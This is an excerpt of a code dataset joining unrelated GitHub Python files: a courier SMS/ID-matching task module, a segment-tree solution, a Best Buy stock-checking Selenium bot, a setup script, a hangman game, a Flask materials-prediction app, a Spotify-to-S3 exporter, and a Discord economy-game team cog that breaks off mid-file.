Waybill.objects.filter(channel__name__in=[CH19, CH23]).filter(status__order_index__lt=109).filter(\n people__isnull=True)\n succ2 = match_person_helper(qs2)\n return {'total': qs.count() + qs2.count(), 'succ': succ + succ2}\n\n\ndef match_person_helper(qs):\n succ = 0\n for w in qs:\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n if p:\n succ += 1\n w.person_id = p.id_no\n w.people = p\n w.save()\n\n if w.status.name == '已建单':\n uploaded_person_id = WaybillStatusEntry.objects.get(name='已传身份证')\n WaybillStatus.objects.create(waybill=w, status=uploaded_person_id)\n try:\n wms_push_person_id.delay(w.tracking_no, w.recv_name, w.person_id, w.recv_mobile)\n except:\n pass\n return succ\n\n\ndef send_sms_no_pic_helper_has_people(to_be_sent, p, tracking_no):\n if not p.id_card_front:\n to_be_sent[p.mobile] = (p.name, tracking_no)\n\n\ndef send_sms_no_pic_helper_without_people(to_be_sent, w):\n to_be_sent[w.recv_mobile] = (w.recv_name, w.tracking_no)\n # Try to add people field to waybill\n if not People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).exists():\n try:\n p = People.objects.create(mobile=w.recv_mobile, name=w.recv_name, id_no=w.person_id)\n w.people = p\n w.save()\n except:\n pass\n\n\n@shared_task\ndef send_sms_no_pic():\n qs = Waybill.objects.filter(channel__name__in=[CH19, CH23]).filter(Q(status__order_index__lte=109),\n Q(status__order_index__gte=2),\n Q(sms_notify_times__lt=4)).filter(\n Q(people__isnull=True) | Q(people__id_card_front__isnull=True) | Q(people__id_card_front__exact=''))\n # print qs.count()\n to_be_sent = {}\n for w in qs:\n if w.people:\n send_sms_no_pic_helper_has_people(to_be_sent, w.people, w.tracking_no)\n else:\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n w.people = p\n w.save()\n if p:\n send_sms_no_pic_helper_has_people(to_be_sent, p, w.tracking_no)\n else:\n send_sms_no_pic_helper_without_people(to_be_sent, w)\n w.sms_notify_times += 1\n w.save()\n for mobile in to_be_sent:\n # print mobile, to_be_sent[mobile][0], to_be_sent[mobile][1]\n send_sms_upload_id_card(mobile, to_be_sent[mobile][1], to_be_sent[mobile][0])\n\n\n@shared_task\ndef send_sms_no_pic_ab(air_waybill):\n qs = Waybill.objects.filter(Q(pallet__air_waybill__air_waybill_no=air_waybill),\n Q(status__order_index__lte=109),\n Q(status__order_index__gte=2)).filter(\n Q(people__isnull=True) | Q(people__id_card_front__isnull=True) | Q(people__id_card_front__exact=''))\n\n for w in qs:\n if not w.people:\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n if p:\n w.people = p\n w.save()\n\n qs = Waybill.objects.filter(Q(pallet__air_waybill__air_waybill_no=air_waybill),\n Q(status__order_index__lte=109),\n Q(status__order_index__gte=2)).filter(\n Q(people__isnull=True) | Q(people__id_card_front__isnull=True) | Q(people__id_card_front__exact=''))\n\n to_be_sent = {}\n for w in qs:\n if w.people:\n send_sms_no_pic_helper_has_people(to_be_sent, w.people, w.tracking_no)\n else:\n p = People.objects.filter(mobile=w.recv_mobile).filter(name=w.recv_name).first()\n w.people = p\n w.save()\n if p:\n send_sms_no_pic_helper_has_people(to_be_sent, p, w.tracking_no)\n else:\n send_sms_no_pic_helper_without_people(to_be_sent, w)\n w.sms_notify_times += 1\n w.save()\n for mobile in to_be_sent:\n # print mobile, to_be_sent[mobile][0], to_be_sent[mobile][1]\n send_sms_upload_id_card(mobile, to_be_sent[mobile][1], to_be_sent[mobile][0])\n","repo_name":"yiyuhao/exp","sub_path":"express/addresses/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":10049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35244858241","text":"import sys\nfrom math import log2, ceil\ninput = sys.stdin.readline\n\n\ndef build(st, idx, i, j, f):\n if i == j:\n st[idx] = arr[i]\n else:\n mid = i + (j - i) // 2\n a = build(st, 2 * idx + 1, i, mid, f)\n b = build(st, 2 * idx + 2, mid + 1, j, f)\n st[idx] = f(a, b)\n return st[idx]\n\n\ndef query(st, qi, qj, idx, i, j, f):\n if qi <= i and qj >= j:\n return st[idx]\n if j < qi or i > qj:\n if f == min:\n return 10**9\n else:\n return 0\n mid = i + (j - i) // 2\n a = query(st, qi, qj, 2 * idx + 1, i, mid, f)\n b = query(st, qi, qj, 2 * idx + 2, mid + 1, j, f)\n return f(a, b)\n\n\nn, m = map(int, input().split())\narr = [int(input()) for _ in range(n)]\n\nn_st = (1 << ceil(log2(n) + 1)) - 1\nst_min = [0] * n_st\nst_max = [0] * n_st\nbuild(st_min, 0, 0, n - 1, min)\nbuild(st_max, 0, 0, n - 1, max)\n\nfor _ in range(m):\n a, b = map(int, input().split())\n print(query(st_min, a - 1, b - 1, 0, 0, n - 1, min),\\\n query(st_max, a - 1, b - 1, 0, 0, n - 1, max))\n","repo_name":"lapis42/boj","sub_path":"boj2357_segment_tree_min_max.py","file_name":"boj2357_segment_tree_min_max.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15796785009","text":"import time\nfrom playsound import playsound\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import ElementClickInterceptedException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\n\n\ndef playSound():\n while True:\n time.sleep(0.2)\n playsound(\"alart.wav\")\n\n\nclass Main:\n browser = None\n filterSet = {}\n searchKey = \"rtx 3080\"\n\n def start(self):\n self.browser = webdriver.Chrome()\n self.browser.get(\"https://www.bestbuy.com/\")\n time.sleep(3)\n self.closePopUpWindow()\n\n # log in\n self.logIn()\n\n # loop search\n findOne = False\n time.sleep(1)\n self.browser.find_element(By.CLASS_NAME, \"search-input\").send_keys(self.searchKey)\n while not findOne:\n try:\n time.sleep(2)\n self.browser.find_element(By.CLASS_NAME, \"header-search-button\").click()\n # loop item\n time.sleep(1)\n findOne = self.isItemAvailable()\n\n # find one\n if findOne:\n time.sleep(2)\n self.tryCheckOut()\n playSound()\n except ElementClickInterceptedException:\n time.sleep(4)\n self.browser.find_element(By.ID, \"survey_invite_no\").click()\n continue\n\n def logIn(self):\n # log in\n loginButtons = self.browser.find_elements(By.CLASS_NAME, \"flyBtn\")\n time.sleep(0.5)\n for b in loginButtons:\n if str(b.text).upper() == \"account\".upper():\n b.click()\n break\n time.sleep(1)\n self.browser.find_element(By.CLASS_NAME, \"lam-signIn__button\").click()\n input(\"Please log in to home page\")\n time.sleep(2)\n\n def isItemAvailable(self):\n itemClassList = self.browser.find_elements(By.CLASS_NAME, \"sku-item\")\n for itemClass in itemClassList:\n try:\n addCart = itemClass.find_element(By.CLASS_NAME, \"add-to-cart-button\")\n if \"out\".upper() not in str(addCart.text).upper() and (\"coming\".upper() not in str(addCart.text).upper()):\n print(\"item found: \" + itemClass.text)\n ActionChains(self.browser).move_to_element(addCart).perform()\n time.sleep(1)\n addCart.click()\n return True\n except:\n return False\n return False\n\n def closePopUpWindow(self):\n try:\n self.browser.find_element(By.CLASS_NAME, \"c-close-icon\").click()\n except:\n return\n\n def tryCheckOut(self):\n try:\n self.browser.find_element(By.CLASS_NAME, \"go-to-cart-button\").click()\n time.sleep(2)\n self.browser.find_element(By.CLASS_NAME, \"checkout-buttons__checkout\").click()\n except:\n return\n\n\n# entry point\nMain().start()\n","repo_name":"rainite/gotcha","sub_path":"FindBySearch_bestbuy.py","file_name":"FindBySearch_bestbuy.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7508407994","text":"#!/usr/bin/env python\n\"\"\"\npyStb99: some tools to manage Starburst99 code\n\"\"\"\nimport os\nfrom setuptools import setup\n\n\nDOCLINES = __doc__.split('\\n')\nCLASSIFIERS = \"\"\"\\\nProgramming Language :: Python\nTopic :: Engineering\nOperating System :: POSIX\nOperating System :: Unix\n\"\"\"\nNAME = \"pystb99\"\nMAJOR = 1\nMINOR = 1\nMICRO = 4\nISRELEASED = False\nVERSION = '%d.%d.%d' % (MAJOR, MINOR, MICRO)\nREVISION = 0 + int(os.popen(\"git rev-list --all | wc -l\").read())\n\n\ndef write_version_py(filename=NAME+'/version.py'):\n if os.path.exists(filename):\n os.remove(filename)\n cnt = \"\"\"\\\n# THIS FILE IS AUTOMATICALLY GENERATED BY ENPLOT SETUP.PY\nversion = '%(version)s'\nrevision = %(revision)s\nrelease = %(isrelease)s\n\"\"\"\n a = open(filename, 'w')\n try:\n a.write(cnt % {'version': VERSION,\n 'revision': REVISION,\n 'isrelease': str(ISRELEASED)})\n finally:\n a.close()\n\nwrite_version_py()\n\nsetup(\n name=NAME,\n version=VERSION,\n packages=['pyStb99'],\n author=\"Christophe Morisset\",\n author_email=\"chris.morisset@gmail.com\",\n license=\"LGPL\",\n description=DOCLINES[0],\n long_description=\"\\n\".join(DOCLINES[2:]),\n keywords=\"atmosphere, Starburst99\",\n url=\"http://github.com/Morisset\",\n platforms=[\"Linux\", \"Unix\"],\n package_data={'enplot': ['*.png'], },\n)\n","repo_name":"Morisset/pyStb99","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72161393532","text":"import random\n\ndef hangman():\n words=[\"little\",\"greater\",\"smaller\",\"college\",\"school\",\"books\",\"ticks\",\"father\",\"mother\",\"brother\"]\n word=words[random.randint(0,len(words)-1)]\n valid=\"qwertyuiopasdfghjklzxcvbnm\"\n turns=10\n ans=\"\"\n guess=\"\"\n while len(word) and turns:\n show=\"\"\n for x in word:\n if x in ans:\n show+=x\n else:\n show+=\"_ \"\n if show==word:\n print(\"You Win !!! The word was \",show,\".\\t Attempts left :\",turns,\"Wrong attempts :\",10-turns)\n break\n print(\"Guess the word : \",show,\"\\t Attempts left :\",turns,\"Wrong attempts :\",10-turns)\n guess=input()\n \n if guess in valid:\n ans+=guess\n else:\n print(\"Enter a valid character.\")\n guess=input()\n if guess not in word:\n turns-=1\n if turns==10:\n print(\"You Lose.\")\n break\n\nprint(\"Welcome to the Game !!\\nEnter your name : \",end=\" \")\nname=input()\nprint(\"-----\"*15)\nprint(\"Welcome\",name,\"you have 10 wrong guess remaining for guessing the word.\")\nhangman()\n","repo_name":"Alpha-Knight-Zero/Python3-Projects--without-GUI-","sub_path":"wordGuess.py","file_name":"wordGuess.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20883316643","text":"from flask import Flask, render_template, request, redirect, url_for, session\nimport pickle\nimport numpy as np\nimport io\nfrom werkzeug.utils import secure_filename\nimport pandas as pd\nimport os\nimport cv2\nfrom keras.models import load_model\nimport matplotlib.pyplot as plt\nfrom keras.preprocessing import image\nimport keras\nfrom keras.layers import UpSampling2D, Conv2D, Activation, Input, Dropout, MaxPooling2D\nfrom keras import Model\nfrom keras import backend as K\n\n\napp = Flask(__name__)\napp.secret_key = 'your_secret_key'\n\n# Define the UPLOAD_FOLDER where uploaded images will be stored\nUPLOAD_FOLDER = 'static'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n# Load the pre-trained segmentation model\nmodel = load_model('steel_model.h5')\n\ncasting_model = load_model('casting.hdf5')\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n\nimg_size = 256\n\ndef process_image(filename):\n # Load the uploaded image and perform preprocessing\n img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n original_img = cv2.imread(img_path)\n\n # Resize the image to the desired dimensions\n original_img = cv2.resize(original_img, (256, 256))\n\n # Perform the prediction on the specified image.\n predict = model.predict(np.asarray([original_img]))\n\n # Reshape and process the prediction to generate the mask.\n predicted_img = cv2.resize(predict[0], (1600, img_size))\n tmp = np.copy(predicted_img)\n tmp[tmp < np.mean(predicted_img)] = 0\n tmp[tmp > 0] = 1\n\n # Save the segmented image\n segmented_image_filename = os.path.join(app.config['UPLOAD_FOLDER'], \"segmented_\" + filename)\n plt.imsave(segmented_image_filename, tmp)\n\n return segmented_image_filename\ndef preprocess_image(uploaded_file):\n img_io = io.BytesIO(uploaded_file.read())\n img = image.load_img(img_io, target_size=(299, 299), color_mode=\"rgb\") # Adjusted target_size and color_mode\n img_array = image.img_to_array(img)\n img_array = np.expand_dims(img_array, axis=0)\n return img_array\n\n\ndef predict_defect(img_array):\n predictions = casting_model.predict(img_array)\n if predictions[0][0] > 0.5:\n return \"ok-front\"\n else:\n return \"def-front\"\n\n \n\n# Load the steel strength prediction model\nwith open(\"model_vr.pkl\", \"rb\") as f:\n steel_model = pickle.load(f)\n\n# Load the concrete strength prediction model\nwith open(\"modeli.pkl\", \"rb\") as g:\n concrete_model = pickle.load(g)\n\n# Load the epoxy viscosity prediction model\nepoxy_model = pickle.load(open(\"modelepox.pkl\", \"rb\"))\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route('/')\ndef welcome():\n return render_template(\"welcome.html\")\n\n@app.route('/ml')\ndef ml_page():\n return render_template(\"ml.html\")\n\n@app.route('/main')\ndef main_page():\n return render_template(\"main.html\")\n\n@app.route(\"/epoxy\")\ndef epoxy_home():\n return render_template(\"epoxy.html\")\n\n@app.route(\"/epoxy_predict\", methods=[\"GET\", \"POST\"])\ndef epoxy_predict():\n if request.method == \"POST\":\n try:\n # Numeric features\n temperature = float(request.form['temperature'])\n ratio = float(request.form['ratio_of_epoxy_resin_to_diluent'])\n\n # Categories for which one-hot encoding is needed\n categories = {\n \"epoxy_resin\": [\"bisphenol_a\", \"ester_cyclic\", \"phenolic\"],\n \"additional_group_of_epoxy_resin\": [\"amyl_phenol_acid_\", \"h\", \"acrylate\", \"acrylate_\", \"methacrylate\"],\n \"diluent\": [\"furan_acetone\", \"others\", \"acrylate\", \"epoxy_oil\", \"ester\", \"glycidyl_ether\", \"phenol\", \"phenolic\", \"polysiloxane\", \"siloxane_\"],\n \"additional_group_of_diluent\": [\n \"1_4butanediol\", \"1_6hexanediol\", \"bisphosphonatepiperazine_hydroxyl\",\n \"cardanol_was_grafted_with_silicone\", \"dipropylene_glycol\", \"epoxy_ricin_acid\", \"h\",\n \"parsley_methyl_group\", \"polyoxycardanol\", \"anacardol_\", \"benzyl_alcohol\", \"butyl_\",\n \"cyclohexene_oxide\", \"diglycol\", \"epoxy_group\", \"eugenol\", \"heterocycle\", \"methylene\",\n \"methyl_\", \"nbutyl\", \"nonyl\", \"oxylene\", \"octyl_group_\", \"paminophenol\", \"phenyl\",\n \"phenylethylene_oxide\", \"phosphoric_acid\", \"propylene_glycol\", \"styrene_\", \"thymol\"\n ],\n # Add more categories here...\n }\n\n input_features = [temperature, ratio]\n\n for feature, possible_values in categories.items():\n category = request.form[feature]\n one_hot = [1 if val == category else 0 for val in possible_values]\n input_features += one_hot\n\n prediction = epoxy_model.predict([input_features])\n\n return render_template('epoxy.html', prediction_text=\"Predicted Epoxy Viscosity is {:.2f} Centipoise\".format(prediction[0]))\n\n except Exception as e:\n return render_template('epoxy.html', prediction_text=\"Error: {}\".format(str(e)))\n\n return render_template(\"epoxy.html\")\n\n@app.route('/predict', methods=[\"GET\", \"POST\"])\ndef predict_steel():\n prediction = None\n if request.method == \"POST\":\n features = [request.form[feature] for feature in ['c', 'mn', 'si', 'cr', 'ni', 'mo', 'v', 'n', 'nb', 'co', 'w', 'al', 'ti']]\n prediction = steel_model.predict([features])[0]\n\n # Save the prediction to session\n session['prediction'] = prediction\n\n # Redirect to the result page for steel\n return redirect(url_for('result_steel'))\n\n return render_template(\"indexi.html\")\n\n@app.route('/result')\ndef result_steel():\n prediction = session.get('prediction')\n return render_template(\"result.html\", prediction=prediction)\n\n@app.route('/casting', methods=[\"GET\", \"POST\"])\ndef casting_page():\n return render_template('casting.html')\n\n@app.route('/casting_predict', methods=[\"POST\"])\ndef casting_predict():\n if 'file' not in request.files:\n return render_template('casting.html', error=\"No file part in the request.\")\n \n file = request.files['file']\n if file.filename == '':\n return render_template('casting.html', error=\"No file selected.\")\n\n if file and allowed_file(file.filename):\n try:\n img_array = preprocess_image(file)\n prediction = predict_defect(img_array)\n \n image_path = \"static/uploaded_image.jpg\"\n file.seek(0)\n file.save(image_path)\n \n return render_template('casting.html', prediction_text=f'The prediction is: {prediction}', image_path=image_path)\n except Exception as e:\n return render_template('casting.html', error=f\"Error processing the image: {str(e)}\")\n \n return render_template('casting.html', error=\"Invalid file type.\")\n\n@app.route('/steel_defect')\ndef home():\n return render_template('stl.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n if 'file' not in request.files:\n return redirect(request.url)\n\n file = request.files['file']\n\n if file:\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\n # Process the uploaded image and get the segmented image and mask\n segmented_image = process_image(filename)\n\n \n return render_template('steel.html', original_image=filename, segmented_image=os.path.basename(segmented_image))\n \n\n\n\n@app.route('/concrete', methods=[\"GET\", \"POST\"])\ndef predict_concrete():\n prediction = None\n if request.method == \"POST\":\n features = [request.form[feature] for feature in ['CementComponent', 'BlastFurnaceSlag', 'FlyAshComponent', 'WaterComponent', 'FineAggregateComponent', 'AgeInDays']]\n prediction = concrete_model.predict([features])[0]\n\n # Save the prediction to session\n session['concrete_prediction'] = prediction\n\n # Redirect to the result page for concrete\n return redirect(url_for('result_concrete'))\n\n return render_template(\"concrete.html\")\n\n@app.route('/concrete_result')\ndef result_concrete():\n prediction = session.get('concrete_prediction')\n return render_template(\"concrete_result.html\", prediction=prediction)\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0',port=8080)\n\n","repo_name":"priyanshu5943/Steel-defect-detection-system","sub_path":"app/welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":8497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42968614892","text":"import sys\nimport requests\nimport base64\nimport json\nimport logging\nimport pymysql\nimport jsonpath\nimport csv\nimport config\nimport util\nimport pandas as pd\nimport datetime\nimport boto3\n\ndef toS3():\n conn, cursor = util.connect2RDS()\n headers = util.get_headers()\n\n cursor.execute(\"SELECT id FROM artists\")\n\n top_track_keys = {\n 'id':'id',\n 'name':'name',\n 'popularity':'popularity',\n 'external_urls':'external_urls.spotify'\n }\n\n top_tracks = []\n for(id, ) in cursor.fetchall():\n URL = \"https://api.spotify.com/v1/artists/{}/top-tracks\".format(id)\n params = {\n 'country':'US'\n }\n r = requests.get(URL, params = params, headers = headers)\n raw = json.loads(r.text)\n\n for i in raw['tracks']:\n top_track = {}\n for k, v in top_track_keys.items():\n top_track.update({k:jsonpath.jsonpath(i,v)[0]})\n top_track.update({'artist_id':id})\n top_tracks.append(top_track)\n\n top_tracks = pd.DataFrame(top_tracks)\n top_tracks.to_parquet('top-tracks.parquet',engine='pyarrow',compression='snappy')\n\n track_ids = [top_tracks.loc[i,'id'] for i in top_tracks.index]\n\n dt = datetime.datetime.utcnow().strftime(\"%Y-%m-%d\")\n\n s3 = boto3.resource('s3')\n object = s3.Object('kihong-spotify-lambda','top-tracks/dt={}/top-tracks.parquet'.format(dt))\n data = open('top-tracks.parquet','rb')\n object.put(Body=data)\n ########################################################################################################\n #\n #\n #\n ########################################################################################################\n\n tracks_batch = [track_ids[i:i+100] for i in range(0,len(track_ids),100)]\n\n audio_features = []\n for i in tracks_batch:\n ids = ','.join(i)\n URL = \"https://api.spotify.com/v1/audio-features/?ids={}\".format(ids)\n\n r = requests.get(URL,headers=headers)\n raw = json.loads(r.text)\n\n audio_features.extend(raw['audio_features'])\n\n audio_features = pd.DataFrame(audio_features)\n audio_features.to_parquet('audio-features.parquet',engine='pyarrow',compression='snappy')\n\n object = s3.Object('kihong-spotify-lambda', 'audio-features/dt={}/audio-features.parquet'.format(dt))\n data = open('audio-features.parquet', 'rb')\n object.put(Body=data)\n\nif __name__=='__main__':\n toS3()\n","repo_name":"kihongmin/spotify","sub_path":"toS3.py","file_name":"toS3.py","file_ext":"py","file_size_in_byte":2445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36487070521","text":"import asyncio\nimport discord\nfrom discord.ext import commands\nimport datetime\nimport mysql.connector\nfrom settings import host, user, password, database, embedcolor, footer, ecogame_channels, prefix\n\n\nclass EcoTeam(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.command(aliases=[\"teams\"])\n async def team(self, ctx, setting=None, *, member: discord.Member = None):\n if str(ctx.channel) in ecogame_channels:\n db_maxerg = mysql.connector.connect(host=host, database=database, user=user, passwd=password)\n maxergdb_cursor = db_maxerg.cursor()\n\n if setting == \"info\" or setting == \"help\":\n em = discord.Embed(\n title=\"Info: Team\",\n description=f\"**Maximale Team grootte:** 3 (2 leden, 1 leider)\"\n f\"\\n\\n**Commands gebruik:**\"\n f\"\\n`{prefix}team [naam]`\"\n f\"\\n\\n**Commands:**\"\n f\"\\n• **{prefix}team info** - Bekijk deze embed.\"\n f\"\\n• **{prefix}team maak** - Maak een team aan.\"\n f\"\\n• **{prefix}team verwijder** - Verwijder je team.\"\n f\"\\n• **{prefix}team verlaat** - Verlaat je team.\"\n f\"\\n• **{prefix}team remove ** - Verwijder iemand van je team.\"\n f\"\\n• **{prefix}team invite ** - Invite iemand in je team.\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n elif setting == \"create\" or setting == \"maak\":\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {ctx.author.id} OR member_one = {ctx.author.id} OR member_two = {ctx.author.id}\")\n teams_userdata = maxergdb_cursor.fetchone()\n\n if teams_userdata is None:\n instertdata = \"INSERT INTO maxerg_teams (team_leader, member_one, member_two) VALUES (%s, %s, %s)\"\n record = (ctx.author.id, 0, 0)\n maxergdb_cursor.execute(instertdata, record)\n db_maxerg.commit()\n\n em = discord.Embed(\n title=\"Team aangemaakt!\",\n description=f\"**Team Leider:** {ctx.author.mention}\\n**Team Lid 1**: Niemand\\n**Team Lid 2**: Niemand\\n\\nTeam hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n else:\n await ctx.send(f\"Je zit al in een team. Verlaat je huidige team om een team te kunnen aanmaken. `{prefix}team verlaat`\")\n elif setting == \"verwijder\" or setting == \"delete\":\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {ctx.author.id}\")\n teams_leaderdata = maxergdb_cursor.fetchone()\n\n if teams_leaderdata is None:\n await ctx.send(f\"Je bent niet de eigenaar van je team. Wil je je team verlaten? Gebruik dan `{prefix}team verlaat`\")\n else:\n maxergdb_cursor.execute(f\"DELETE FROM maxerg_teams WHERE team_leader = {ctx.author.id}\")\n db_maxerg.commit()\n\n em = discord.Embed(\n title=\"Team verwijderd!\",\n description=f\"Je team is succesvol verwijderd!\\n\\nTeam hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n elif setting == \"leave\" or setting == \"verlaat\":\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {ctx.author.id} OR member_one = {ctx.author.id} OR member_two = {ctx.author.id}\")\n teams_userdata = maxergdb_cursor.fetchone()\n\n if teams_userdata is None:\n await ctx.send(f\"Je zit nog niet in een team! Wil je een team joinen, vraag dan aan de leider van een team om je te inviten. Gebruik: `{prefix}team invite `\")\n else:\n leader = teams_userdata[0]\n lid1 = teams_userdata[1]\n lid2 = teams_userdata[2]\n\n if leader == ctx.author.id:\n await ctx.send(f\"Je bent de eigenaar van je team. Wil je je team verwijderen? Gebruik dan `{prefix}team verwijder`\")\n elif lid1 == ctx.author.id:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_one = 0 WHERE team_leader = {leader}\")\n elif lid2 == ctx.author.id:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_two = 0 WHERE team_leader = {leader}\")\n db_maxerg.commit()\n\n em = discord.Embed(\n title=\"Team verlaten!\",\n description=f\"Je hebt je team succesvol verlaten!\\n\\nTeam hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n elif setting == \"remove\":\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {ctx.author.id}\")\n teams_data = maxergdb_cursor.fetchone()\n\n team_leader = teams_data[0]\n team_member1 = teams_data[1]\n team_member2 = teams_data[2]\n\n if ctx.author.id != team_leader:\n await ctx.send(f\"Je bent niet de eigenaar van dit team.\")\n else:\n if member.id == team_member1:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_one = 0 WHERE team_leader = {ctx.author.id}\")\n await member.send(f\"Je bent verwijderd van je team in **{ctx.guild}** door **{ctx.author}**\")\n\n em = discord.Embed(\n title=\"Teamlid verwijderd!\",\n description=f\"Je hebt succesvol een teamlid verwijderd!\\n\\nTeam hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n elif member.id == team_member2:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_two = 0 WHERE team_leader = {ctx.author.id}\")\n await member.send(f\"Je bent verwijderd van je team in **{ctx.guild}** door **{ctx.author}**\")\n\n em = discord.Embed(\n title=\"Teamlid verwijderd!\",\n description=f\"Je hebt succesvol een teamlid verwijderd!\\n\\nTeam hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await ctx.send(embed=em)\n else:\n await ctx.send(f\"Deze gebruiker zit niet in je team. Wil je deze gebruiker inviten tot je team? Gebruik dan `{prefix}team invite `\")\n db_maxerg.commit()\n elif setting == \"invite\":\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {ctx.author.id}\")\n teams_leaderdata = maxergdb_cursor.fetchone()\n\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE member_one = {member.id} OR member_two = {member.id}\")\n teams_memberdata = maxergdb_cursor.fetchone()\n\n if teams_leaderdata is None:\n await ctx.send(f\"Je bent niet de eigenaar van een team. Wil je je team verlaten? Gebruik dan `{prefix}team verlaat`\")\n elif teams_memberdata is not None:\n await ctx.send(f\"Deze gebruiker zit al bij een team.\")\n else:\n em = discord.Embed(\n title=\"Team Invite!\",\n description=f\"Wachten op antwoord van {member.mention}...\\n\"\n f\"Type `JA` om de invite te accepteren! De Invite is 90 seconden geldig!\\n\\n\"\n f\"Team hoppen is verboden en levert een ban op van de Economie game!\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n change_em = await ctx.send(f\"{member.mention}\", embed=em)\n\n def check(message):\n return message.author == member and message.channel == ctx.channel and message.content.lower() == \"ja\"\n\n try:\n await self.client.wait_for('message', check=check, timeout=90)\n\n if teams_leaderdata[1] == 0:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_one = {member.id} WHERE team_leader = {ctx.author.id}\")\n else:\n maxergdb_cursor.execute(f\"UPDATE maxerg_teams SET member_two = {member.id} WHERE team_leader = {ctx.author.id}\")\n db_maxerg.commit()\n\n em = discord.Embed(\n title=\"Team Invite!\",\n description=f\"{member.mention} zit nu in het team.\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await change_em.edit(embed=em)\n except asyncio.TimeoutError:\n em = discord.Embed(\n title=\"Team Invite!\",\n description=\"Geen reactie gekregen. Probeer het opnieuw.\",\n color=embedcolor,\n timestamp=datetime.datetime.utcnow()\n )\n em.set_author(name=self.client.user.display_name, icon_url=self.client.user.avatar_url)\n em.set_footer(text=footer)\n await change_em.edit(embed=em)\n elif setting == \"list\":\n if member is None:\n member = ctx.author\n\n maxergdb_cursor.execute(f\"SELECT * FROM maxerg_teams WHERE team_leader = {member.id} OR member_one = {member.id} OR member_two = {member.id}\")\n teams_data = maxergdb_cursor.fetchone()\n\n if teams_data is not None:\n team_leader = teams_data[0]\n team_member1 = teams_data[1]\n team_member2 = teams_data[2]\n\n try:\n if team_member1 != 0:\n lid1 = self.client.get_user(team_member1)\n lid1 = lid1.mention\n else:\n lid1 = \"Niemand\"\n except AttributeError:\n lid1 = team_member1\n\n try:\n if team_member2 != 